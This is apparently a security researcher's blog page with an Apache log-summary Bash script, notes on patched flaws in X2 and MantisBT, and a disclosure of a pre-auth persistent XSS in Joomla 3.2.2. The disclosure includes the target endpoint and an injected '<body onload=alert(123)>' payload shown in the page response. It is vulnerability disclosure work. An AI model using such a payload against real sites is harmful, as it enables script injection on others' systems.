Monday 31 March 2014

[EN] Simple quick Apache log reading

As far as I can see at logs of my Apache, last few weeks was very busy for few guys trying to hack my honeypot ;) 

Good job guys!

For some reason I decided to create a very simple (but useful) 'log-reader' for Apache.

You can obviously add it to cron or just run as a normal Bash script. 

Here you have a code:



echo "**** Test Apache logs... ****"

cut -d' ' -f1 $ACCESS > $FOUND

cat $FOUND | uniq > $UNIQ
echo "[+] Found host(s) : " `wc -l $UNIQ`

for host in `cat $UNIQ`; do
  echo "--------------------------------------------------------------"
  echo "[+] Testing : " $host
  host $host
  whois $host | grep -e "country\|address"
  echo ""
  echo "[+] looking for: "
  grep $host $ACCESS | cut -d' ' -f 6-8
  echo "--------------------------------------------------------------"


Wednesday 26 March 2014

[EN] X2 Community - update for you

Few days ago I found that X2 is vulnerable to few web attacks.

After great work of X2 Team, below you will find a link to informations about
new update.

Check here ;)

Great job X2 Team!

Monday 3 March 2014

[EN] New release of MantisBT 1.2.17

After last patching of MantisBT, there is a fresh and new version!

Check the details about new release and remember to install the patch ;)
More details about this finding you can get here or here

Once again big thanks for the excellent cooperation goes to the Dev Team of Mantis!
Great job!

[EN] Joomla 3.2.2 pre-auth persistent XSS

Maybe you want to verify... ;)

# ==============================================================
# Title ...| Persistent pre-auth XSS in Joomla
# Version .| Joomla 3.2.2
# Date ....| 3.03.2014
# Found ...| HauntIT Blog
# Home ....|
# ==============================================================

# ==============================================================

POST /k/cms/joomla/index.php/single-contact HTTP/1.1

Content-Length: 288


Joomla XSS - request


 title="<strong>Email</strong><br />Email for contact">Email<span class="star">&#160;*</span></label></div>
                <div class="controls"><input type="email" name="jform[contact_email]" class="validate-email" id="jform_contact_email" value="a"><body onload=alert(123)>" size="30" required aria-required="true" /></div>

From Burp it looks like this:

XSS - view from Burp

Response at the page:

# ==============================================================
# More @
# Thanks! ;)
# o/